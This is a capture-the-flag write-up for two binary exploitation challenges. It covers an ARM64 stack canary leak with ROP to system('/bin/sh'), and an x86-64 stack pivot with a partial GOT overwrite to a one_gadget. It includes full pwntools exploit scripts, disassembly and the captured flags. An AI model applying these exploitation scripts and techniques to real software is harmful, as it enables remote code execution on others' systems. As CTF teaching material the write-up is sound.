Home WWF 2025 Challenges
Ctf-event
Cancel

WWF 2025 Challenges

I think I cheesed one challenge

Overview

ChallengeDifficultyPointsCategoryFlag
ARM Worldmedium499pwnwwf{w0W_yOu_5uCc3SS_aRM_r0p!!}
Giggity Ropity Goomedium499pwnwwf{pr373nd_y0u_4r3_5l33p1n6_50_17_g035_fa5T3r}

ARM World

Challenge

Highlights

  • ARM assembly
  • ARM ROP
  • Stack canary bypass

Discovery

The challenge seems to be a simple buffer overflow leading to ROP.

checksec output

1
2
3
4
5
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

When running it we get the chance to input a name and a guestbook, the name is printed back to us:

1
2
3
4
5
6
Welcome to ARM World!
Write your name: mideno
Your name: mideno

Write your Guestbook: my what
Thank you Guestbook!

To figure out more we’ll have to take a look at the code.

I changed the name of some of the functions and variables based on what they do since the binary is stripped.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
undefined8 chall(void)

{
  undefined8 uVar1;
  long lVar2;
  undefined8 local_68;
  undefined8 uStack_60;
  undefined8 local_58;
  undefined8 uStack_50;
  undefined8 local_48;
  undefined8 uStack_40;
  undefined8 local_38;
  undefined8 uStack_30;
  long canary_28;
  
  canary_28 = DAT_0049dc40;
  FUN_004006d4(&DAT_0049d000,0);
  FUN_0041e920(0x3c);
  FUN_0040e580("Welcome to ARM World!");
  local_68 = 0;
  uStack_60 = 0;
  local_58 = 0;
  uStack_50 = 0;
  printf("Write your name: ");
  read(0,&local_68,80);
  printf("Your name: %s\n",&local_68);
  local_48 = 0;
  uStack_40 = 0;
  local_38 = 0;
  uStack_30 = 0;
  printf("Write your Guestbook: ");
  scanf(&%s,&local_48);
  system("echo \'Thank you Guestbook!\'");
  if (canary_28 - DAT_0049dc40 != 0) {
    FUN_00420ea0(&DAT_0049d000,0,canary_28 - DAT_0049dc40);
    lVar2 = 2;
    do {
      (*(code *)(&PTR_FUN_0049c1a8)[lVar2])();
      lVar2 = lVar2 + -1;
    } while (lVar2 != 0);
    uVar1 = FUN_00466418();
    return uVar1;
  }
  return 0;
}

inmediately we realize some interesting stuff:

  • there is a stack canary (even tho checksec says no)
  • we can only achieve control flow hijack via the scanf call

stack layout information:

  • the canary is stored at [rbp-0x28]
  • the “name” variable is:
    • stored at [rbp-0x68]
    • 80 bytes long
  • “guestbook” is at [rbp-0x48]

As we can see there’s no way to craft a ROP without breaking the integrity check of the canary in principle. What we try to do always in this type of scenario is to leak the canary and then carefully craft a payload that writes it’s contents back.

We can use the printf("Your name: %s\n",&local_68); call to leak stuff, since this prints an arbitraryly long string, it only stops printing when it finds a null terminator 0x00.

So all we need to do is to make the name variable end where the canary starts (actually our last byte has to overlap since the canary usually starts with a null byte).

Solution

Full script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import remote, ROP, context, ELF, p64, cyclic

context.binary = ELF("./deploy/chal")

p = remote("chal.wwctf.com", 32770)

name_buff_offset = 0x68
guestbook_offset = 0x48
canary_offset = 0x28

p.sendline(b"A" * (name_buff_offset - canary_offset))

leak = p.recvuntil(b"Guestbook: ")
canary_leak_index = leak.index(b"A\n") + 2
canary = b"\x00" + leak[canary_leak_index:canary_leak_index+7]

p.sendline(b"A"*(guestbook_offset - canary_offset) +
           canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))

p.interactive()

Leaking canary

As you can see we simply send a bunch of b"A"s to leak the canary, this returns something like this:

b'Welcome to ARM World!\nWrite your name: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n?\xf7\xf5\x9e\xa1\x82& \x0b\x80\nWrite your Guestbook: '

from this we index to get the canary leak and store it as a variable (do note that we have to read 7 bytes and add the null byte to the start)

So we can leak the canary and bypass the stack integrity check, but now we still need to build a good ROP.

ROP building

This should not be that hard since there is no PIE

I’ll leave the epilogue of the function here since it’s really useful:

1
2
3
4
5
6
        004007e4 00 00 80 52     mov        w0,#0x0
        004007e8 fd 7b 45 a9     ldp        x29=>local_20,x30,[sp, #0x50]
        004007ec f3 33 40 f9     ldr        x19,[sp, #local_10]
        004007f0 ff c3 01 91     add        sp,sp,#0x70
        004007f4 c0 03 5f d6     ret

If you look carefully to the function decompilation, you can see there’s this call:

1
  system("echo \'Thank you Guestbook!\'");

This tells us that we have the system function which we can use to get a shell (I guessed this was system because of the argument).

The address of that function is: 00401b00

Now all we need is to get a gadget that lets us place a pointer to “/bin/sh” or similar in x0

I found “/bin/sh” in the address 0x466608

I settled for this gadget: 0x00000000004562f8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

let’s break it down:

  • ldr x0, [sp, #0x10]
    • loads into x0 a value stored at sp+0x10
  • ldp x29, x30, [sp], #0x20
    • loads into x29 a value stored at sp
    • loads into x30 a value stored at sp+8
    • increases sp by 0x20
  • ret

This might be a bit confusing at first but let’s break down the used payload a little bit too:

1
2
p.sendline(b"A"*(guestbook_offset - canary_offset) +
           canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))

so first of all we set the canary in the right place and add 8 bytes of padding until the first return address.

We place the address of our gadget so we return to it.

Then we see 24 bytes of padding before the address of system and “/bin/sh”

Why is the padding there?

Well when the function reads the return address and writes it to x30, the sp register is actually 0x58 bytes before the return address, since it reads the values for x29 and x30 in a single ldp instruction.

This makes it so that when the sp is restored by adding 0x70 to it, it now stands at 0x70 - 0x50 = 24 bytes above the return address.

which is (if you do the mental map) 16 bytes into the cyclic(24), so the stack at the time of executing the gadget looks a bit like:

1
2
3
4
  0x10: p64(0x466608)
  0x08: p64(0x401b00)
  0x0: cyclic(8)
sp

suddendly it becomes easy to understand that the first part of the gadget will load sp+0x10 into x0 and that is… our “/bin/sh” pointer!! :))

then remember that 0x30 will be read from sp+0x8 (yeah we don’t care about x29) so that is where we have the pointer to system()

Flag

wwf{w0W_yOu_5uCc3SS_aRM_r0p!!}

Giggity Ropity Goo

Challenge

Highlights

  • one_gadget
  • stack pivot
  • PIE bruteforce

Discovery

checksec output

1
2
3
4
5
6
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

the challenge doesn’t tell us anything when run, so we have to go straight to the code!!

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)

{
  undefined local_108 [256];
  
  setup();
  alarm(0x3c);
  read(0,local_108,272);
  return 0;
}

I’ll also include the disassembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x108   local_108                               XREF[1]:     004011a2(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:00401074(*), 00402038, 
                                                                                          00402108(*)  
        00401183 55              PUSH       RBP
        00401184 48 89 e5        MOV        RBP,RSP
        00401187 48 81 ec        SUB        RSP,0x100
                 00 01 00 00
        0040118e b8 00 00        MOV        EAX,0x0
                 00 00
        00401193 e8 ae ff        CALL       setup                                            undefined setup()
                 ff ff
        00401198 bf 3c 00        MOV        EDI,0x3c
                 00 00
        0040119d e8 9e fe        CALL       <EXTERNAL>::alarm                                uint alarm(uint __seconds)
                 ff ff
        004011a2 48 8d 85        LEA        RAX=>local_108,[RBP + -0x100]
                 00 ff ff ff
        004011a9 ba 10 01        MOV        EDX,272
                 00 00
        004011ae 48 89 c6        MOV        RSI,RAX
        004011b1 bf 00 00        MOV        EDI,0x0
                 00 00
        004011b6 e8 95 fe        CALL       <EXTERNAL>::read                                 ssize_t read(int __fd, void * __
                 ff ff
        004011bb b8 00 00        MOV        EAX,0x0
                 00 00
        004011c0 c9              LEAVE
        004011c1 c3              RET

Stuff we can get from this:

  • We only have space for one gadget
    • there’s no way to leak libc so it can’t be a one gadget
    • this means we have to perform stack pivot

So what can we do after we do the stack pivot?

PLT and GOT table analysis

Let’s take a look at the .plt relocation table with readelf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ readelf -r main

Relocation section '.rela.dyn' at offset 0x540 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0  000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404030  000600000005 R_X86_64_COPY     0000000000404030 stdout@GLIBC_2.2.5 + 0
000000404040  000700000005 R_X86_64_COPY     0000000000404040 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x5a0 contains 3 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000200000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000404008  000300000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404010  000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0

We can see that we have 3 elements:

  • setbuf
  • read
  • alarm

The first two (in my list) are common and mean nothing, alarm on the other hand, seems like a hint.

one gadget?

So at first it looks like we can’t ret to a one gadget since we don’t have a libc leak

What if I told you that we don’t need a leak?

PIE bruteforcing and ret to one_gadget

So, to get the libc version of the challenge I looked at the Dockerfile (which is standard practice)

1
2
3
4
5
6
7
8
9
10
11
12
from ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782 AS app

FROM pwn.red/jail

COPY --from=app / /srv

COPY main2 /srv/app/run
COPY flag.txt libc.so.6* ld-linux-x86-64.so.2* /srv/app/

RUN chmod +x /srv/app/run

ENV JAIL_TIME=70%

We can see that the base image used is ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782, so I got the libc from a container using that image and ran one_gadget to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

so the possible one_gadget addresses are:

  • 0x583dc
  • 0x583e3
  • 0xef4ce
  • 0xef52b

Now let’s look at the address of alarm() in the disassembly of libc.so.6

1
2
3
❯ objdump -d libc.so.6| grep alarm
00000000000ee230 <alarm>:
   ee241:       73 01                   jae    ee244 <alarm+0x14>

Aha!

The last two gadgets kinda align with the address of alarm, only the last two bytes are different, this means that we can overwrite alarm in the .GOT table to make it point to the one gadget address!!

There’s one small issue tho, libc always has PIE, so while the last 3 nibbles will always match, the 4 one will change every time, this means that there are 16 possible values from which it will take a random one, no biggie, we’ll just run the exploit 16 times :) (that is how probability works… right?)

btw I decided to use the last one because they are all stack values so it’s less for my brain to handle.

Solution

Full script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import process, remote, ROP, ELF, context, p64, gdb, pause, sleep

target_file = "./main_patched"
target_bin = ELF(target_file)
context.binary = target_bin

p = remote("chal.wwctf.com", 7003)

rip_offset = 264
rbp_offset = rip_offset - 8

main = p64(0x401183)
pivot_addr = 0x4011a2
alarm = 0x404008
plt_alarm = 0x401040

# -------------------- PIVOT TO CHANGE ALARM --------------------------
payload = b"A" * rbp_offset + p64(alarm + 0x200) + p64(pivot_addr)

p.send(payload)

# -------------------- WRITE SMALL GADGETS TO CHANGE ALARM ----------------------
gadgets = p64(0x405000) + p64(plt_alarm)
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
p.send(payload)

# ------------------- CHANGE ALARM -----------------------------------------------------------------
payload = b"\x2b\xf5"
p.send(payload)

p.interactive()

First stage: Stack pivot

So first we perform a stack pivot, setting RBP to 0x200 bytes after the entry for alarm in .got (we’ll come back to this), the address we return to is the the parameters setup for the read() call in the challenge function. Why? Because we only have space for a single gadget, so this way we can send data again.

Second stage: Write gadgets

So now that we have the chance to input more data at a writable section that we can predict, we can just go ham and use the entire stack for gadgets!!

Of course, they won’t get executed at this stage, but we can move RSP there later and run them.

Which gadgets?

This is hard to answer on this stage, the only thing we know is that we want to return to .plt.alarm in the end since that will mean a call to our one_gadget once the .got is corrupted >:)

Besides that, we can predict that we will need a final call to read(), so if we use the stack pivot address for this, then the LEAVE instruction will get executed besides the RET, and remember the constraints for our gadget.

1
2
3
4
5
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

to ensure fulfillment of the constraints we better control where RBP ends up pointing, since we only care that anything below it is writable and NULL, I picked the highest writable address.

so our gadgets look like this:

1
gadgets = p64(0x405000) + p64(plt_alarm)

Only a single gadget anyways and an address for leave to take

Then the final payload for this stage:

1
2
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
  • a dose of b"A"s to fill the stack
  • .got.alarm + 0x100 that leave will assign to RBP (hold on I’ll explain I swear)
  • our good friend the pivot address

Stage three: .got corruption and gadget execution

Remember how for the first stage we made RBP point to .got.alarm + 0x200 and for the second it was .got.alarm + 0x200? Well that’s not random, if you look at the disassembly carefully you’ll realize the read() actually inserts data at RBP - 0x100 so when RBP = .got.alarm + 0x200 -> &buffer = got.alarm + 0x100 (how do you like this syntax abuse?)

Then when we set RBP = .got.alarm + 0x100 to make &buffer = .got.alarm something funny happens, RBP is exactly where our gadgets were written.

So all we have to send as a payload now are the two bytes with the one_gadget + guessed PIE and hope it works, if not then we run it again 15 times (exactly, that’s how probability works)

1
payload = b"\x2b\xf5"

Bonus: Was my solve not intended?

So remember how I said that alarm in the got table seemed like a clue? Well that never made much sense with the other solve. I mean yeah we changed where the entry points to, but we could’ve done that with read or setbuf and then call them, it was the last call anyway so it’s not like we needed read to keep working past here.

So this leads me to believe that the actual solve was something more like smol - NaHamCon 2021 (writeup by datajerk/burner_herz0g) where we abuse the fact that alarm can be turned into a janky syscall by using a similar technique to what I did to make the got entry point to alarm + 9, check disassembly.

1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function alarm:
   0x00007ffff7ea3f10 <+0>: endbr64
   0x00007ffff7ea3f14 <+4>: mov    eax,0x25
   0x00007ffff7ea3f19 <+9>: syscall
   0x00007ffff7ea3f1b <+11>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7ea3f21 <+17>:    jae    0x7ffff7ea3f24 <alarm+20>
   0x00007ffff7ea3f23 <+19>:    ret
   0x00007ffff7ea3f24 <+20>:    mov    rcx,QWORD PTR [rip+0x104f45]        # 0x7ffff7fa8e70
   0x00007ffff7ea3f2b <+27>:    neg    eax
   0x00007ffff7ea3f2d <+29>:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7ea3f30 <+32>:    or     rax,0xffffffffffffffff
   0x00007ffff7ea3f34 <+36>:    ret

This would have been needed because the challenge doesn’t have any syscall gadget that returns.

I still think my idea was more fun, unless that was intended, then this is more fun.

Flag

wwf{pr373nd_y0u_4r3_5l33p1n6_50_17_g035_fa5T3r}